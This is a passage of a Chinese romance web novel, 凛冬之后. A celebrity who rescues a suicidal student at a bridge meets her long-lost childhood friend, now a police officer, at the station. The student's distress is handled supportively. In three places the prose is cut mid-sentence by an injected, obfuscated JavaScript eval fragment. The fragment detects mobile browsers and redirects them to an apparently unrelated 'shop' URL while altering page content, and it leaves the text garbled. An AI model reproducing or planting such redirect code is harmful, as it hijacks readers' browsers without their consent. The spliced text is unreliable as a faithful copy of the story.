《凛冬之后》 1. 好久不见 江宥一找了邢弋很多年。 虽然什么消息都没收到,但她相信,她和他的缘分没这么容易消散。 总有一天,她会找到他,重新站在他面前。 到那个时候,无论他变成什么样,她都能一眼就认出他来。 她相信,他同样也是。 只是江宥一从没想过,再重逢,会是在这样一个普通的晚上。 她把再次遇见他当作是上天对她见义勇为的奖励。 2024年11月22日凌晨,江宥一见到了她17年没见的“青梅竹马”。 也终于说出了那句——她等了多年的“好久不见”。 “邢弋,快别吃你那泡面了,江安大桥有人要跳河!” 陈燃嘴里叼着半块面包,急匆匆往门外冲。 邢弋叹了口气,放下筷子,拿起椅子上的外套跟了上去。 他在警校拿了四年奖学金,是同级眼里“噩梦”般的存在。 大学毕业,好不容易考到沅江市公安局刑侦支队,以为能好好大展身手,伸张正义。 结果刚入职,就和陈燃一起被安排到东城区第一派出所开始轮岗。 今天是两人轮岗的最后一个月。 赶到现场,邢弋远远看见江安大桥边并排坐着一大一小两个背影。 “谁报的警?谁要跳河?” 陈燃率先小跑上前,左右看着两人,一时分不清是哪位想不开,因为眼前这两人全都眼眶红红,一副楚楚可怜的模样。 江宥一见警察过来,乖巧站起来,一只手还不忘紧紧牵着旁边那个妹妹。 “我报的警,不过现在人已经没事儿了。” 她抬头看向陈燃,像个要回答问题的小学生,举起右手。 看得出,今天这种事儿她是头一回遇上,还是有些紧张。 陈燃听到人没事松了口气:“人没事儿就好。” 路灯下,女生扎着丸子头,戴着帽子和黑框眼镜,一身灰色运动衣,看她打扮,和其他出来夜跑的人没有任何区别。 但陈燃还是一眼就认出,站在自己面前的这位,就是近两年火得一塌糊涂的女明星江宥一! 他几乎变得结巴,转身向身后招呼:“邢弋,快,快来!” 许是看见周遭围观群众不少,陈燃才想起自己是出来执行公务的,声音又低了些。 邢弋赶到,也是一眼就认出了江宥一。 “这不是你屏保吗?见着活人了!你小子果然有点儿运气在身上!” 陈燃歪头靠近邢弋,用所有人都能听到的声音,冲他说了句“悄悄话”。 邢弋没搭茬,眼神也没分给他半个。 陈燃一转头,这才发现,自己的好兄弟现在正没出息地愣在原地,两只眼睛好像长在了江宥一身上。 邢弋这副丢了魂儿似的表情,陈燃是第一次见。 江宥一也盯着邢弋出神,刚想说什么,就被对方打断。 “是你报的警?” 邢弋的语气温柔,但话里总有一种说不出的疏离感,一种不该是粉丝见到偶像会有的反应。 就算没有尖叫、脸红,也不该像他现在这般冷漠。 “嗯。” 江宥一小心翼翼地点头,这位也是奇怪,看向邢弋的眼神里,总是带着点儿期待。 陈燃觉得两个人都不太对劲儿,但以他的智商,实在是找不出来这种别扭的感觉从何而来。 “小妹妹,你没事吧?感觉怎么样?”邢弋看向江宥一身边那个比她矮半截儿的女孩儿,语气依旧温柔,但视线里少了刚刚面对江宥一时才有的闪躲。 “我没事儿,给你们添麻烦了。” 女孩儿看了看周围的群众和警察,默默垂下了头,声音越来越小,她也没想到自己的一次冲动,竟然会惊动这么多人。 “人没事儿就好,吓着了吧?” 陈燃拍拍她肩膀,以示安慰。 女孩儿点点头,没再开口。 说话间,一阵寒风吹来,江宥一跟着打了个寒颤。 她今天心情不太好,原本只是出来散散步,所以只一身运动套装,连个外套都没穿。 北方11月的深秋,狠狠地教训了一下这个只要风度不要温度的家伙。 “外面冷,先回派出所吧,小心感冒。”邢弋冷不丁来了这么一句,不知道是冲谁说的。 他又看了一眼江宥一,“也麻烦你跟我们回所里一趟,我们需要你帮忙做个详细的笔录。” 江宥一乖巧点头,她正有此意。 邢弋转身向副驾走去,江宥一搀着女孩,紧紧跟在他身后上了车。 派出所里。 邢弋给两个人倒了热水递到手里,又找来干净的衣服让她们穿上。 “所里新发的警服,没穿过。” “邢木头”一言不发,陈燃只好帮着解释。 “谢谢。”江宥一披上警服,看向邢弋。 对方只是点头,只一眼就又将视线移开。 江宥一也收回眼神,看陈燃盯着自己,有些尴尬,只好喝了口热水。 陈燃看着邢弋,一副恨铁不成钢的表情。 别人或许不知情,但他心里跟明镜儿似的。 从他认识邢弋的第一天起,邢弋的手机屏保就没换过,也算是长情。 大明星江宥一的照片在这位“痴汉”手机上停留了这么久,足以证明她在他心里的地位。 据听说,江宥一还在娱乐圈打酱油的时候,邢弋就已经“慧眼识珠”,成了她的第一批“死忠粉”。 如今,红透大江南北的美女偶像,那个照片里的人就站在面前,他反倒比谁都冷静。 陈燃实在是想不通,邢弋这傻小子在女神还面前装什么高冷? “真是活该他单身。”陈燃只敢在心里偷偷骂。 不过,作为好兄弟的他,当然不会坐视不理,任由“木头人”邢弋错过和偶像接触的绝佳时机。 他给邢弋使了个眼色:“你带江宥一去调解室,我带这位妹妹去询问室做个笔录,马上过来。” 邢弋不懂他的“良苦用心”,但流程确实没毛病。 他点了点头,走在前面带路,江宥一也自觉跟了上去。 她在身后偷偷盯着邢弋的背影发愣,把他从头到脚打量了一番。 一米八五,肩宽腿长,身材不错,比起小时候壮实了不少,也黑了不少。 江宥一倒腾了几下小碎步,追上邢弋,和他并肩走。 “好久不见。” 她侧头看他,看起来很兴奋,可惜没得到回应。 “进来吧。”邢弋推开调解室的门,示意江宥一进去。 在只有两个人的狭小空间,江宥一终于说出了憋在心里的问题。 “你……不认识我了吗?” 邢弋抬头看她,语气依旧不冷不热:“认识,你是明星,江宥一。” 话刚说完,他就垂下了头,眼神并未在自己“偶像”身上停留。 听他一字一句面无表情地念出自己的名字,江宥一当然不好受。 “就这些?没其他的了?” 江宥一不甘心地继续追问。 “还有……” 江宥一立马激动地抬起头,继续亮出星星眼。 “还有什么?” “你今天救了个想轻生的女孩儿。” 邢弋说得不紧不慢,像是看穿了她眼里的期待,所以故意和她作对。 他的回答又给江宥一浇了盆冷水。 她看得出来,他在刻意隐瞒什么。 因为她不相信,他会忘了自己。 面对这个没认出自己或是不愿意相认的“竹马”,江宥一并不生气。 重逢的喜悦已经完全冲散了她的其他一切情绪。 今天的江宥一只觉得幸运,也更加愿意相信,“好人真的有好报。” “没认出来也没关系,姜桃!姜桃你总记得吧!我是姜桃啊!那个吃桃子会过敏的姜桃!” 江宥一说到“姜桃”两个字时,特意加重了语气。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957903|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死死盯着邢弋的眼睛,想着他听到这两个字,总不可能还没有任何反应吧。 可结果依旧令她大失所望。 “对不起,我想你应该是认错人了,我真的不认识姜桃。” 邢弋依旧没什么表情,面对她时,冷漠得像个陌生人。 十七年的等待,江宥一当然不打算就此放弃。 “我不信,我们……” 江宥一太激动了,直接从椅子上站了起来。 邢弋看到她的眼睛泛红,眼眶里含着泪水。 她那委屈的表情我见犹怜。 邢弋默默攥紧左拳,狠了狠心,直接打断:“江小姐,您肯定是认错人了,现在还请配合一下我的工作,我需要把刚才的情况详细记录一下。” 江宥一意识到自己的情绪有些失控,乖乖点点头,重新坐回到椅子上。 “来日方长,先配合他的工作,留个好印象,方便以后继续联系。”江宥一在心里安慰自己。 “请您详细叙述一下今晚11点20分左右,在江安大桥边,您看到和经历的全部过程。不要急,从最开始讲起。” 江宥一仔细回想了一下刚才发生的一切。 “晚上11点左右,我在江安大桥散步,离很远看到一个背影一直在桥边徘徊,当时没多留意,走近了才发现是个女孩,我看她年纪不大,估计是还在上学,就有点担心了。而且她一直在哭,情绪看起来很激动,好像是在通电话。” 江宥一停顿了一下。 “我当时没上前去,只是在离她几米远的地方观察。我害怕是自己想多了,造成误会,所以一直没到她身边去问。” “然后呢,你后来是怎么发现她可能想不开的?” 邢弋给江宥一的杯子里添了点儿水,他起身靠近的时候,江宥一一直盯着他看。 她的眼神里除了刚才的喜悦,还多了几分失落。 邢弋见她半天不回答,抬头看向她。 江宥一愣了一下,才回过神来:“哦,然后,然后她挂断了电话,她先是蹲在地上大哭,然后突然就站起身,冲着桥边去。我看她动作那么快,感觉她可能是想跳河,就跑过去拦下她了,她哭了很久才冷静下来。” “那她当时和你说什么了吗?” “她说,她发现男朋友劈腿,追到男朋友家里,但她男朋友却一直不愿意见她。堵了几天,好不容易堵到他,结果他不承认两人之前的感情,说只是拿她当普通朋友,后来她又去找了几次,那个男生直接提了分手,还叫她不要胡搅蛮缠,不然就报警告她跟踪、骚扰。她还说……” “还说什么?” 邢弋继续追问。 江宥一有些不好意思地低下头:“她还说她男朋友之前带她去开房,两人没做安全措施,她担心自己会怀孕……” “咳咳——”邢弋轻咳了两声,这会儿才终于明白江宥一到底在害羞什么。 “好了,我知道了,那除了你之外,当时还有没有其他人靠近?她男朋友来了吗?” “没有,她说她男朋友挂了她电话之后就不接她电话了,所以她才会那么激动。我之后想联系她父母,但是她说她一个人在这里上大学,老家离这里很远,我问她学校老师的联系方式,她也不愿意说,我怕她还是想不开,所以就先报警了。” “好,我知道了。” 邢弋把笔录内容打印出来,递给江宥一。 “请您仔细阅读一下,看看记录的内容和您说的是否一致。如果无误,请在每一页右下角签名并按指印。” 江宥一看着邢弋这副公事公办的样子,甚至有些怀疑他是真的忘了自己。 是我存在感太低?还是说这些年都是我自作多情,我对他来说真的没那么重要? 签字的时候,江宥一满脑子都是疑问,可看着邢弋一副不想和自己有任何瓜葛的表情,也就觉得没有问出口的必要。 何必自取其辱呢? 江宥一被迫接受了邢弋已经忘记自己的事实,现在她想做的,不过是重新认识他。 2. 人是会变的 询问室里。 陈燃和女孩儿面对面坐着。 女孩儿身上披着邢弋刚刚给她的警服,双手捧着水杯,情绪似是稳定了一些,但眼神依旧空洞。 “妹妹,怎么称呼?家是哪里的?” 陈燃的话才勉强把她的思绪拉回来一些。 女孩儿立马坐直了身子,一脸严肃地看向陈燃。 “我叫范佳宁,老家在瑞平,现在在沅江上大学。” 见女孩儿愿意配合,陈燃松了口气。 “是嘛?我妈也是瑞平人,咱俩算是半个老乡,我应该是比你大几岁,叫你小范可以吗?” 范佳宁点点头,勉强扯了扯嘴角,回以微笑。 对于陈燃,她很感激,也很抱歉。 毕竟是因为自己的冲动,才让他大晚上不能休息,坐在这里加班。 她没想到,陈燃不仅不生气,还能这么有耐心地安慰自己,这让她心里更加愧疚。 “小范,今年多大了?现在大几啊,在哪个大学?” 为了不让她紧张,陈燃尽量让自己的语气听起来亲近一些。 “我今年20岁,大二,在沅江大学上学。” “多好啊,才20岁,你的人生才刚刚开始,你以后就明白了,这是最好的年纪。而且你又是沅江大学的学生,成绩一直很好吧,这学校是多少人的梦想学府啊?一般人可考不上,高中也没少吃苦吧?” 范佳宁轻轻“嗯”了一声,她当然也听出了陈燃的言外之意。 这位素不相识的警察哥哥,话里话外都在劝自己不要放弃生的念头。 “小范,你能和我说说,今天晚上是遇到什么过不去的坎儿了吗?你说出来,心里会好受点,也许我们能帮你想想办法。” 陈燃身体微微前倾,目光恳切。 他关心的表情在范佳宁看来,一点儿不像是在工作或是完成任务,反倒给她一种大哥哥关心妹妹的感觉,这也让她有了倾诉的勇气。 “我发现我男朋友出轨了,我和他初中就认识了,高中一毕业就在一起了,又一起考到了沅江大学,我们感情一直很好,他对我也很好,我不知道为什么,他突然会变成这样……” 范佳宁紧咬着下唇,极力在控制自己的情绪,但她的肩膀还是止不住地微微颤抖,随后,压抑的抽泣声在安静的房间里响了起来。 陈燃没有打断她,只是又默默递过去几张纸巾。 看到纸巾的范佳宁,反而更加委屈。 陌生人都能做到这样体贴,自己的男朋友却如此绝情。 “前段时间我发现他不太对劲,先是好几天不和我联系,好不容易出来约会,他也总找借口提前离开,就好像是在刻意躲着我。我问他为什么突然这样,他也不说实话。没办法,我只好偷偷跟着他,跟了几天,发现他和我学姐手牵手走在外面。” 说到这儿,范佳宁的情绪开始激动起来。 “那可是我直系学姐,他俩都是我介绍认识的。谁能想到,他们居然背着我在一起,我从没想过这种事情会发生在我身上,我以为他和别人不一样的。” 范佳宁越说越委屈。 陈燃也比范佳宁大不了几岁,像现在这种情况,他也没什么经验。 让他安慰哭哭啼啼的女孩子,还不如让他去追持刀歹徒。 陈燃急得直出汗。 “小范,你先别哭,这种渣男可不值得你为了他伤害自己,既然他背叛你,你就直接和他分手,这种人还有什么可留恋的。你这么优秀,以后肯定能找到比他更好的男朋友。” 范佳宁听了他的话倒是冷静下来了,她想了半天,声音哽咽,支支吾吾地半天才开口:“我知道,可我也只是想听他说句对不起,这么多年的感情,明明是他犯了错,最后却连一面都不肯见我,我也没打算继续纠缠他,他究竟到底为什么躲着我?为什么他会突然间变成这样?而且……” 陈燃明显感觉到范佳宁还有话想说。 “你想说什么就说,别怕,我帮你想办法,总会有办法的。” 陈燃的话让范佳宁很是感动,但她实在不知道怎么开口。 “没事的,你什么都可以告诉我,有什么事情总要面对,我们一起想办法,都会过去的。” 见范佳宁听了自己的话有所迟疑,陈燃好像看到了希望。 他眼睛一眨不眨地看着她,里面翻涌着毫无掩饰的期盼。 范佳宁羞愧地垂下了头,她此刻像是有千言万语哽在喉间。 “我可能怀孕了。” 陈燃倒吸一口凉气,他甚至怀疑是不是自己的耳朵出了问题。 “你确定吗?去医院做过检查了吗?会不会是搞错了。” 陈燃替眼前的女孩儿感到惋惜,也希望这只是个乌龙。 范佳宁摇摇头:“我没去医院,只是感觉。” 陈燃虽说是个大直男,但基本的常识还是有的,这种事情怎么能靠感觉来判断。 “小范,你先不要急,究竟有没有怀孕,这是关系到你身体健康的大事,你必须尽快到医院去检查。如果需要,我们可以帮你联系你的朋友或是家人陪你去,这是现在最重要的事情,明白吗?” 范佳宁乖乖点头。 “还有,至于你男朋友,一会儿出去我帮你联系。” 陈燃此时身着警服,一脸正气,在范佳宁眼里,现在的他无异于脚踏七彩祥云的盖世英雄。 两人做完笔录,正巧碰到邢弋和江宥一从调解室里出来。 “你们也结束了?” 陈燃点头。 邢弋看到范佳宁情绪已经稳定下来,凑到陈燃跟前拍了拍他后背。 “辛苦了,干得不错!” “废话,你也不看看我是谁?” 陈燃是典型的一点就着,一夸就翘尾巴性格。 对此,邢弋早已司空见惯。 “你把你男朋友的手机号告诉我,我现在就给他打电话。” 陈燃这会儿正“燃”着,答应了“妹妹”的事情就一定要做到。 “对了,你男朋友怎么称呼?” “杨攀。” “这么晚了,他会接吗?” 邢弋看了眼手表,已经接近凌晨一点。 “我男朋友是个夜猫子,这个时间应该不是在酒吧就是在打游戏,估计是没睡,就是不知道接不接陌生电话。” 范佳宁在旁边小声解释。 “管他呢,我先打一个试试!” 说话间,陈燃已经拨通了电话。 “嘟……嘟……” 几个人围在一起,屏息听着,过了好半天,对面才终于接起来。 “喂,谁呀?” 那人声音里透着些许的不耐烦。 “你好,是杨攀先生吧,我是东城区第一派出所的民警。” “你好。” 杨攀一听对面是警察,说话语气没了刚刚的嚣张劲儿,但依旧带着些许的迟疑。 毕竟按现在这个世道,诈骗犯给他打电话的几率可比真警察要高。 想到这儿,杨攀知道自己没干过犯法的事儿,也就理所应当地把陈燃当成了骗子。 “你说你是警察是吗?怎么证明?” 陈燃没想到自己的身份居然遭到了质疑,但这也正常,只能说明东城区反诈宣传工作做得不错。 “杨先生,我是东城区第一派出所的陈燃,警号是******。您可以通过回拨110进行核实。” “哦,陈警官?是吧!我可没干违法乱纪的事儿啊,您这么晚了给我打电话有什么事儿?像我这种守法好公民可是需要睡觉的。” 也许是因为太晚,打扰到了对方,杨攀开始阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957904|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳怪气起来,陈燃强忍着心里对这个渣男积攒的怒火,尽可能保持语气的委婉。 “是这样的,我们联系你是关于你女朋友范佳宁的事情,今天晚上她试图轻生,被路人救下后我们已经介入处理,现在她在我们派出所。你知道你女朋友最近的情绪状态吗?” 杨攀一听到范佳宁的名字,瞬间没了耐心。 “警察叔叔,我和她已经分手了,她干什么和我没关系。” “杨攀先生,根据我国法律,明知自己的行为可能导致他人自杀而不采取措施防止,是需要承担相应法律责任的。而且她可能怀孕了,我希望你能负起责任,好好和她聊聊,陪她去医院做个检查。” “她还有完没完了,我早就告诉过她了,我们已经分手了,那个疯女人现在可和我没关系,你找别人去吧!” 不等陈燃继续开口,杨攀说完就挂断了电话。 站在旁边听完全部的范佳宁,眉头一皱,眼睛又红了一圈。 她左右两只眼睛像是商量好了似的,两行眼泪一齐落了下来。 邢弋和陈燃看到她这可怜模样,对视后,重重叹了口气。 陈燃气不打一处来,继续又拨去电话,但对面已经是关机状态。 江宥一扶着范佳宁坐下,把她散在前面的碎发捋到耳后。 她像个大姐姐,轻轻拍着她的后背。 “想哭就哭出来吧,别憋在心里。” 范佳宁抬头看了她一眼,点点头,然后嘴角一撇,委屈地抽泣起来。 “我和他认识七年了,我以为我们会一辈子在一起的。” 范佳宁的声音开始颤抖。 回忆越是美好,她现在就越觉得心痛。 她实在无法接受陪伴自己七年之久的人,突然之间变得这样陌生。 “姐姐,人怎么会变的这么快呢?他以前对我很好的,我们的感情真的很好的,当初在一起也是他先提出来的,可他怎么突然就变了呢?是我错了吗?是我一开始就不应该这么信任他,对吗?” 范佳宁带有求助意味的眼神递过来时,江宥一竟然不知道作何反应。 是啊,人是会变的。 江宥一也知道人是会变的,相处七年的感情都能在一朝一夕之间化作乌有,她又怎么敢保证,只是作为童年玩伴的他,十七年未见,还能记得自己。 江宥一不受控制地想到了自己和邢弋。 这怎么不算是一种感同身受呢? 江宥一和邢弋虽说不是男女朋友关系,可是从小相依为命、陪伴长大的感情怎么也不该说忘就忘啊! 他在她心里一直很特殊,不然也不会念念不忘十七年。 难道他不是吗? 她一脸幽怨地看向邢弋。 邢弋不了解江宥一这段内心戏,只觉得被她盯着有些尴尬,他甚至还专门调整了一下站姿。 看着努力逃避自己眼神的邢弋,江宥一的眸子里多了几分失望。 她转头看向范佳宁。 “佳宁,人确实是会变的,这个事情我们谁都左右不了,只能接受。但是,你要知道,这件事情从始至终错都不在你,是他不懂得珍惜,和你无关。你不该去怪罪当时的自己,更不应该拿别人的错误惩罚自己。比起这段感情,你的人生,你的未来更重要。” 江宥一表情认真,她是真的想救下范佳宁。 自己在她这个年纪,又何尝不曾想过放弃生命,只是寻找故人的信念,一直支撑着她走到了今天。 “伤害你自己,只会让爱你的人心疼,他不会。忘了那些不爱你的人,忘了那段不愉快的记忆,往前走吧,这样的人不值得你回头。忘了他吧,没有他,你的生活会更好。” 许久不说话的邢弋也开了口。 只是听着他的话,江宥一心里很不是滋味,她总觉得他意有所指。 3. 你好,邢弋! “各位哥哥姐姐,今天的事情给你们添麻烦了,真的特别谢谢你们。你们说的我都知道了,我以后会好好爱自己的。” 范佳宁知道自己给别人添了麻烦,冲着三人深深鞠了一躬。 江宥一上前扶起她。 陈燃抢着搭话:“我们不用谢,你主要是得谢谢这位美女姐姐,我们俩这就是日常工作,没什么的,你也别想太多。” 范佳宁笑着点头,但心里还是觉得不好意思。 也许是为了减轻范佳宁心里的负罪感,陈燃自然地和她唠起家常。 “我也有个妹妹,亲妹妹,和你差不多大,今年高三,跟个假小子似的。看到你,倒是让我想起她了。” 他倒不是为了客套或是什么,当时看到范佳宁,陈燃确实有种见到了妹妹的亲切感觉。 陈燃连屏保都是自己和妹妹的合影,活脱脱一个妹控。 所以看到范佳宁遇人不淑,被渣男伤害,他是真的心疼她。 范佳宁听完,一个劲儿点头,心里羡慕起陈燃的妹妹,有这样一个关心自己的哥哥,肯定很幸福吧。 旁边的邢弋依旧表情严肃,陈燃担心他这副扑克脸会吓着范佳宁,还“贴心”地拧了一下他的胳膊。 邢弋皱眉瞥了眼正在挤眉弄眼的陈燃,毫不留情地把他的手扒拉开。 “陈燃说的没错,你不用内疚,这都是我们应该做的,只不过,你以后千万别再做伤害自己的事情了,下次可不一定能这么好运,遇上好心人。” 他依旧还是那副教导员做派,用陈燃的话说,就是这人一点不懂得怜香惜玉。 这妹妹好歹也算是刚刚半只脚踏进了鬼门关,他倒好,居然上来又是一通说教。 范佳宁听完乖巧应了一声,心想还好今天给自己做笔录的是陈燃,要是邢弋,她估计还真会觉得害怕。 江宥一看着邢弋那副不苟言笑的表情,也在心里感慨,这么多年没见,他居然一点儿没变,还是那副生人勿近的木头人模样。 几个人各怀心事,站了好一会儿,还是陈燃第一个打破沉默。 “小范,虽然你父母不在这里,但我们还是需要告诉他们你的情况,他们必须知道。” 范佳宁抬头,刚巧对上陈燃充满关切的眼神,她虽然不太情愿,但也还是告诉了陈燃父母的手机号。 陈燃简单向他们说明了今天的情况。 不出所料,远在异地的范佳宁父母担心极了,她母亲明显的哭腔让再次击溃了范佳宁的心里防线。 “妈,我以后都不会了,您和我爸别太担心了,我一会儿就回学校了。” “嗯,好孩子,爸爸妈妈明天就过来,你可一定要好好的,答应妈妈。” 范佳宁哭得几乎说不出话来,蹲在地上频频点头。 挂断电话后,陈燃看着泣不成声的范佳宁想要安慰,随口说了句:“这个世界上没有父母不爱自己的孩子,就算你不珍惜自己的身体,也要想想辛苦把你养大的爸爸妈妈!” 他说完后立马意识到了什么,回头看了眼邢弋,眼里满是愧疚,他不该在他面前这样说的。 邢弋当然不会在乎,简单给了陈燃一个眼神,又把关切的目光,投向江宥一。 气氛实在有些凝重,陈燃给范佳宁的学校打去了电话,简单说明事情缘由之后,校方表示今后会重视她的心理健康。 “你的老师一会儿会来接你,别哭了,回去好好休息。” 范佳宁懂事地答应。 三个人一直目送范佳宁和老师坐上出租车。 “路上小心,以后有什么想不开的就找警察叔叔,别一个人在江边晃悠!危险!” 人都要上车了,陈燃还追到跟前大声叮嘱。 “你同事人挺好,挺热心的,你看他,像不像火车站送女儿上学的老父亲!” 江宥一和邢弋并排站在一起,看着陈燃操心的背影,江宥一笑得开心。 邢弋双手插兜,站那儿像个人形立牌。 他趁着江宥一不注意,回头瞥了眼她的侧脸,脸颊肉还在,笑眼弯弯,倒是和从前一样没心没肺。 这样多好,过去的回忆那么不堪,忘了不是更好? 发觉江宥一要转头,邢弋慌乱收回视线。 江宥一看着他叹了口气,邢弋虽然察觉到了,但依旧没作声。 现在不是相认的好时机,起码今天还不是。 外面天冷,陈燃小跑着回来。 “走走走,先进去吧,感冒了多不划算。” 陈燃一只胳膊架在邢弋肩膀上,完全没感受到两人头顶笼罩的阴郁氛围。 回到屋里,江宥一眼巴巴望着邢弋。 一整晚了,邢弋对自己都是一副公事公办的态度,他甚至没有主动和自己说过话。 现在范佳宁离开了,江宥一还真就不信了,没“正事儿”可聊的邢弋难道就不能主动和自己说点儿什么? 折腾到半夜,她早就困了,但因为邢弋在这儿,她居然不怎么想回到那个冷清的家。 江宥一捧起纸杯又喝了口水,眼睛眨巴眨巴看着邢弋,期待他能主动找自己说点儿什么。 他要转身了,看他一步一步朝自己靠近,江宥一切身体会了一把什么叫心提到了嗓子眼。 她心脏跳得快要爆炸了。 “憋了一整晚,这死木头终于忍不住了?” 江宥一不自觉吞咽了下口水,站在原地等他靠近。 “额——美女,时间不早了,你怎么回家?我们俩要值班,走不开。” 陈燃说完不好意思地挠了挠头。 江宥一攥紧了拳头看着突然横插在自己和邢弋中间的他。 这人是从哪儿冒出来的?来的可真是时候! “我自己可以打车,不用麻烦的。” 江宥一强颜欢笑,话说得咬牙切齿。 “我这朋友不太爱说话,你又是大明星,所以他这才显得有些呆,你不要介意啊,他这人就这样,对你没恶意。” 陈燃一把拉过邢弋,热心肠地替他解释起来。 江宥一皱着眉头硬挤出个笑,一副生无可恋的模样,在心里默默吐槽:可他明明都要主动开口了,如果你没有突然出现的话! “他十几年前就这样了,我早见识过了!”江宥一小声嘟囔,倒是也没避着点儿当事人。 邢弋冷冷看了她一眼,话也大差不差听了个清。 江宥一感受到了那道充满寒意的冰冷眼神。 她不自觉抿了抿唇,看回邢弋的眼神里,明显写着:“我说的本来就是事实,你有什么好不服气的!” 邢弋看着她那挑衅意味十足的小表情,脸上神态依旧看不出任何变化。 “真是个木头!” 江宥一翻了个白眼,不再搭理他,反倒是立马变换出笑脸,对着陈燃说起客套话:“我明白,可以理解。我有个朋友也和他性格差不多,比较高冷嘛,没什么的。” 陈燃没察觉出异常,也没看到邢弋和江宥一两人之间的眼波流转。 “是吗?这个世界上居然还有和我们老邢一样的人!也是难得。” 陈燃一脸惊讶,拍了拍邢弋肩膀,“啧啧”两声,像是笑话他的不争气。 “时间不早了,不打扰你们了,我叫了车,一会儿到,今天麻烦你们了。” 江宥一把披着的警服还给邢弋,转身就要离开。 他既然人在沅江,那就跑不了。 相认的事情,以后再说,今天毕竟有陈燃在场,说从前的事情不太方便。 况且,这哪里是一时半会儿可以说完的。 邢弋见她要走,倒是难得的主动一回。 “你等等。” 他小跑着取来自己的外套,递给江宥一。 “洗过的,你拿去穿吧,外面风大。” 陈燃看他这直男开窍的模样,露出了老父亲般的慈祥笑容。 反倒是江宥一,有些被邢弋的举动惊到。 刚刚不还是一副我和你不熟的做派吗?怎么一说要走,他又这样主动。 江宥一没心思去细想,只觉得这是邢弋小小的进步,所以也只感受到了幸福。 失去的感觉她太熟悉了,失而复得这是第一次。 她兴奋得甚至有些不知所措,小心接过他手里的衣服。 “谢谢。” 她看向他,笑眼弯弯。 他也微微点头,算是回应。 平日里浓妆艳抹,十几台摄像机怼脸拍眼都不眨一下的大明星,如今褪去浓妆,站在喜欢的人面前,也难得的露出害羞表情,有了点小女孩儿的悸动模样。 她当着他的面穿上了他的外套,袖子长出了一大截,但脸上依旧难掩欢喜。 陈燃站在旁边欣赏了半天浪漫偶像剧,一时之间竟不知该不该上前打扰。 “听说你屏保是我?你是我粉丝?” 江宥一看邢弋难得主动,一时得意忘形,调侃起他来。 “不是。” 邢弋急着否认。 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957905|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宥一委屈巴巴嘟起小嘴,小声嘀咕:“死鸭子嘴硬。” 见邢弋有意避开自己的眼神,江宥一猛地靠近他一大步:“不敢承认?那你让我看看你屏保呗,我也好死了这条心。” 江宥一瞥了眼邢弋的手机,又把视线移到他眼睛上。 面对江宥一旁若无人的突然靠近,邢弋一下子没站稳,往后撤了半步,顺便把手机装进兜里。 “你同事不是说了嘛,你是我粉丝,很——喜——欢——我,所以……你和他谁在撒谎?嗯?” 江宥一抬眸看他,唇角的梨涡若隐若现。 “江小姐,陈燃这人喜欢瞎说,他的话你不用当真的。” 快要被逼到桌角的邢弋一个侧身走开,有意和江宥一又保持了一个身位的距离。 “切~” 江宥一突然觉得邢弋这人好没意思,自己都这样主动了,心想着就算他真是个木头,也该被自己的真诚打动了。 陈燃眼看着好兄弟这样不解风情,无奈摇了摇头。 “江小姐,你不用搭理他,他这人就这样,闷葫芦一个,他就是没想到自己能见到偶像,实在是太紧张了,才会口不择言。我可以和你保证,他真的特别喜欢你,从你刚拍戏那会儿就是你的粉丝了,他……” 不等陈燃说完,邢弋直接捂住他的嘴。 “你不是要去打水吗?快去吧!” 邢弋用力推了陈燃一把。 “好好好,我懂,你想和女神单独相处是吧,兄弟我都懂,我这就去打!水!” 陈燃冲着邢弋捶捶自己胸口,无比油腻的wink了一下,又凑他耳边来了句:“好兄弟,在心中,我今天这份恩情你可别忘了!” 说完,他就提着暖壶撤了,走之前还不忘和江宥一打招呼:“我先走了,你们慢聊~” 江宥一笑着向他挥手:“陈警官,回见!” 她简直不敢想象,邢弋这个呆子身边一直有陈燃这么一个大喇叭叽叽喳喳,对他来说,得有多煎熬。 一想到这,她竟憋不住大笑出声。 打发走陈燃,邢弋终于松了口气。 但是单独和江宥一待在一起,他还是有些不自在。 尤其是那位小祖宗正目不转睛地直勾勾盯着自己,一点儿不知道收敛。 江宥一这是故意的,她突然间发现了“调戏”邢弋这个大直男的乐趣。 邢弋越不自在,江宥一越乐在其中。 “你车还没到吗?” 邢弋终于开口,话还是那么的不中听。 江宥一有些不高兴。 “就快到了,你这是要赶我走?就这么不想和我待在一块儿?” 她死死盯着他的眼睛,他却不敢看她。 “时间太晚了,你一个女生不安全。” 邢弋撤回一个眼神,并拒绝正面回答江宥一的问题。 “所以你不是讨厌我,只是担心我?” 江宥一总能钻到空子把邢弋问得哑口无言。 她双手背在身后一步步朝着邢弋靠近,后者被逼得连连后退,最后直接靠在了墙上。 